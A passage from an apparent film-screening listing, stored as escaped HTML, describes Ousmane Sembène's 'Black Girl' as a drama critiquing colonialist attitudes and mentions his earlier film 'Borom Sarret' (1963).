Semb\u00e8ne, who was also an acclaimed novelist in his native Senegal, transforms a deceptively simple plot\u2014about a young Senegalese woman who moves to France to work for a wealthy white couple and finds that life in their small apartment becomes a figurative and literal prison\u2014into a complex, layered critique on the lingering colonialist mindset of a supposedly postcolonial world. Featuring a moving central performance by Mbissine Th\u00e9r\u00e8se Diop, Black Girl is a harrowing human drama as well as a radical political statement\u2014and one of the essential films of the 1960s.<\/p>\n<p>with:<br \/>\n<i><b>Borom Sarret aka The Wagoner<\/b><\/i> (1963),\u00a0the first film by <a title=\"Senegal\" href=\"https:\/\/en.wikipedia.org\/wiki\/Senegal\">Senegalese<\/a> director <a title=\"Ousmane Semb\u00e8ne\" href=\"https:\/\/en.wikipedia.org\/wiki\/Ousmane_Semb%C3%A8ne\">Ousmane Semb\u00e8ne<\/a> over which he had full control.
